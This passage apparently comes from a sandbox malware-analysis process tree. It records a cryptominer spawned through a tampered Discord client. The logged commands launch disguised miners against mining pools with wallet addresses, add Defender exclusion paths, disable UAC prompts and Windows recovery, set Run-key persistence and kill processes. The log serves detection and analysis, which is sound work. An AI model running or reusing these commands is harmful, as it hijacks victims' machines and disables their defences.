        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:740
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\RuntimeService.exe"
        5⤵
        
        PID:5928
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:2744
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:5408
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\RuntimeService.exe"
        5⤵
        
        PID:4500
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:756
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:2688
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\RuntimeService.exe"
        5⤵
        
        PID:3892
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:5652
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:5396
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\RuntimeService.exe"
        5⤵
        
        PID:6072
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:3596
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:1320
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\RuntimeService.exe"
        5⤵
        
        PID:5756
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:1400
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:1448
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:5420
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:5384
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:828
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:5820
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:4116
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:6036
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\RuntimeService.exe"
        5⤵
        
        PID:2696
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Temp\ErrorReport.exe -pool us-eth.2miners.com:2020 -wal 0x07D13CF48739BCb0b227f7A15095B2f3E8d9b107.PM_ID_Admin -gpow 75%"
        5⤵
        
        PID:908
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\XR.exe -o xmrpool.eu:3333 --cpu-priority 4 --algo rx/0 -p x -u 45vPYdUaSyahwjRdi1C3UoBhJ2CLzUjaDZwRp94G95VYheZMBZfic6KXJsECKQXv9VVqQNP6v7uHMgfopx8QDEJLPqd6i9R+Admin -t 2"
        5⤵
        
        PID:3288
      - C:\Users\Admin\AppData\Local\Microsoft\XR.exe
        
        C:\Users\Admin\AppData\Local\Microsoft\XR.exe -o xmrpool.eu:3333 --cpu-priority 4 --algo rx/0 -p x -u 45vPYdUaSyahwjRdi1C3UoBhJ2CLzUjaDZwRp94G95VYheZMBZfic6KXJsECKQXv9VVqQNP6v7uHMgfopx8QDEJLPqd6i9R+Admin -t 2
        6⤵
        
        PID:5400
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell expand-archive -LiteralPath C:\Users\Admin\AppData\Local\Temp\XR.zip -DestinationPath C:\Users\Admin\AppData\Local\Microsoft -Force"
        5⤵
        
        PID:5140
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell expand-archive -LiteralPath C:\Users\Admin\AppData\Local\Temp\XR.zip -DestinationPath C:\Users\Admin\AppData\Local\Microsoft -Force
        6⤵
        
        PID:3752
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:5612
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:5496
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:5500
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:3176
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:2952
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:3172
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:6140
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:2268
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im SoundServices.exe"
        5⤵
        
        PID:2156
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im SoundServices.exe
        6⤵
        Kills process with taskkill
        
        PID:1300
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im dllhost.exe"
        5⤵
        
        PID:4556
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im dllhost.exe
        6⤵
        Kills process with taskkill
        
        PID:5916
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im taskhostw.exe"
        5⤵
        
        PID:5056
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im taskhostw.exe
        6⤵
        Kills process with taskkill
        
        PID:4516
  - - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
      "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1692,5725274141196905659,3828758034457182355,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=3640 /prefetch:8
      4⤵
      Executes dropped EXE
      PID:536
  - - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
      "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1692,5725274141196905659,3828758034457182355,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=3576 /prefetch:8
      4⤵
      Executes dropped EXE
      PID:5952
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Discord
      4⤵
      Modifies registry key
      PID:1756
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Discord /d "C:\Users\Admin\AppData\Local\Discord\Update.exe --processStart Discord.exe" /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:1348
  - - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
      "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=gpu-process --field-trial-handle=1692,5725274141196905659,3828758034457182355,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2504 /prefetch:2
      4⤵
      Executes dropped EXE
      PID:2980
- C:\Program Files\7-Zip\7zG.exe
  "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\Espeon\" -spe -an -ai#7zMap28334:74:7zEvent29949
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3796
- C:\Users\Admin\Downloads\Espeon\MicrosoftAudio.exe
  "C:\Users\Admin\Downloads\Espeon\MicrosoftAudio.exe"
  2⤵
  - Executes dropped EXE
  PID:3692
- C:\Program Files\Malwarebytes\Anti-Malware\mbam.exe
  "C:\Program Files\Malwarebytes\Anti-Malware\mbam.exe"
  2⤵
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious behavior: GetForegroundWindowSpam
  PID:2844
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 2844 -s 2800
    3⤵
    - Program crash
    PID:4484
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 2844 -s 2952
    3⤵
    - Program crash
    PID:5500
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OBEBroker.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OBEBroker.exe"
  2⤵
  PID:5764
- C:\Users\Admin\AppData\Local\Discord\Update.exe
  "C:\Users\Admin\AppData\Local\Discord\Update.exe" --processStart Discord.exe
  2⤵
  PID:828
- - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
    "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe"
    3⤵
    - Checks computer location settings
    PID:3404
  - - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
      C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Roaming\discord /prefetch:7 --no-rate-limit --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Roaming\discord\Crashpad --url=https://sentry.io/api/146342/minidump/?sentry_key=384ce4413de74fe0be270abe03b2b35a "--annotation=_companyName=Discord Inc." --annotation=_productName=Discord --annotation=_version=1.0.9008 --annotation=prod=Electron --annotation=ver=13.6.6 --initial-client-data=0x480,0x484,0x488,0x478,0x48c,0x7a83850,0x7a83860,0x7a8386c
      4⤵
      PID:3320
  - - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
      "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=gpu-process --field-trial-handle=1788,117256936981162093,7708363884705835752,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1792 /prefetch:2
      4⤵
      PID:5884
  - - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
      "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=renderer --autoplay-policy=no-user-gesture-required --field-trial-handle=1788,117256936981162093,7708363884705835752,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --lang=en-US --app-user-model-id=com.squirrel.Discord.Discord --app-path="C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\resources\app.asar" --no-sandbox --no-zygote --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=3 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2360 /prefetch:1
      4⤵
      Checks computer location settings
      PID:5364
  - - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
      "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1788,117256936981162093,7708363884705835752,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 /prefetch:8
      4⤵
      PID:1956
  - - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
      "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=renderer --autoplay-policy=no-user-gesture-required --field-trial-handle=1788,117256936981162093,7708363884705835752,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --disable-gpu-compositing --lang=en-US --app-user-model-id=com.squirrel.Discord.Discord --app-path="C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\resources\app.asar" --no-sandbox --no-zygote --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3064 /prefetch:1 --enable-node-leakage-in-renderers
      4⤵
      Checks computer location settings
      Drops startup file
      Checks processor information in registry
      PID:3984
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /q /d /s /c "C:\Program^ Files\NVIDIA^ Corporation\NVSMI\nvidia-smi.exe"
        5⤵
        
        PID:5500
    - - C:\Windows\SysWOW64\net.exe
        
        net session
        5⤵
        
        PID:848
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 session
        6⤵
        
        PID:5764
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:LOCALAPPDATA -Force"
        5⤵
        
        PID:3992
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:LOCALAPPDATA -Force
        6⤵
        
        PID:5632
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powercfg /hibernate off"
        5⤵
        
        PID:5608
      - C:\Windows\SysWOW64\powercfg.exe
        
        powercfg /hibernate off
        6⤵
        
        PID:2880
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:5704
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:3500
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:5004
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:4404
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powercfg /setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c"
        5⤵
        
        PID:876
      - C:\Windows\SysWOW64\powercfg.exe
        
        powercfg /setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
        6⤵
        
        PID:5164
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "reagentc.exe /disable"
        5⤵
        
        PID:3428
      - C:\Windows\SysWOW64\ReAgentc.exe
        
        reagentc.exe /disable
        6⤵
        Drops file in Windows directory
        
        PID:828
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:APPDATA -Force"
        5⤵
        
        PID:4536
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "%windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f"
        5⤵
        
        PID:4496
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im SoundServices.exe"
        5⤵
        
        PID:2816
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im SoundServices.exe
        6⤵
        Kills process with taskkill
        
        PID:3680
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "%windir%\System32\reg.exe ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" /t REG_SZ /d "RUNASADMIN" /f"
        5⤵
        
        PID:384
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im dllhost.exe"
        5⤵
        
        PID:2748
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im dllhost.exe
        6⤵
        Kills process with taskkill
        
        PID:6076
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im taskhostw.exe"
        5⤵
        
        PID:3696
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im taskhostw.exe
        6⤵
        Kills process with taskkill
        
        PID:5204
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im SearchApplication.exe"
        5⤵
        
        PID:3952
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im SearchApplication.exe
        6⤵
        Kills process with taskkill
        
        PID:3092
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "%windir%\System32\reg.exe ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "dasHost" /t REG_SZ /F /D "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftAudio.exe""
        5⤵
        
        PID:5676
      - C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "dasHost" /t REG_SZ /F /D "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftAudio.exe"
        6⤵
        Adds Run key to start application
        
        PID:1772
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell expand-archive -LiteralPath C:\Users\Admin\AppData\Local\Temp\Espeon.zip -DestinationPath C:\Users\Admin\AppData\Roaming\Microsoft -Force"
        5⤵
        
        PID:2148
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell expand-archive -LiteralPath C:\Users\Admin\AppData\Local\Temp\Espeon.zip -DestinationPath C:\Users\Admin\AppData\Roaming\Microsoft -Force
        6⤵
        
        PID:5112
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\RuntimeService.exe"
        5⤵
        
        PID:756
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Temp\ErrorReport.exe --algo rvn --server us-rvn.2miners.com:6060 --user RCHpqCzug51LY7XURL9bS6yqBwipcxYXmb.Admin"
        5⤵
        
        PID:5116
      - C:\Users\Admin\AppData\Local\Temp\ErrorReport.exe
        
        C:\Users\Admin\AppData\Local\Temp\ErrorReport.exe --algo rvn --server us-rvn.2miners.com:6060 --user RCHpqCzug51LY7XURL9bS6yqBwipcxYXmb.Admin
        6⤵
        
        PID:2580
        
        C:\Users\Admin\AppData\Local\Temp\ErrorReport.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ErrorReport.exe" --algo rvn --server us-rvn.2miners.com:6060 --user RCHpqCzug51LY7XURL9bS6yqBwipcxYXmb.Admin --watchdog_child_process0
        7⤵
        
        PID:5752
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:1496
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:5312
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:4736
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:4608
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\RuntimeService.exe"
        5⤵
        
        PID:4508
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:5420
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:5436
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\RuntimeService.exe"
        5⤵
        
        PID:4140
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:1444
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:6072
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\RuntimeService.exe"
        5⤵
        
        PID:4040
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:5032
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:4488
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:5224
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:1876
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\RuntimeService.exe"
        5⤵
        
        PID:5380
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:1032
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:4000
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\RuntimeService.exe"
        5⤵
        
        PID:876
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:5568
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:5124
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\RuntimeService.exe"
        5⤵
        
        PID:5712
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:3624
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:3412
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\RuntimeService.exe"
        5⤵
        
        PID:2028
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:6048
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:1348
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:3772
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:5032
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:5116
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:5596
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        5⤵
        
        PID:2324
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:2056
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Microsoft\RuntimeService.exe"
        5⤵
        
        PID:5624
  - - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
      "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1788,117256936981162093,7708363884705835752,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=3588 /prefetch:8
      4⤵
      PID:3636
  - - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
      "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1788,117256936981162093,7708363884705835752,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=3572 /prefetch:8
      4⤵
      PID:6036
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Discord
      4⤵
      Modifies registry key
      PID:2044
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Discord /d "C:\Users\Admin\AppData\Local\Discord\Update.exe --processStart Discord.exe" /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:3036
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        Suspicious behavior: AddClipboardFormatListener
        
        PID:4072
  - - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
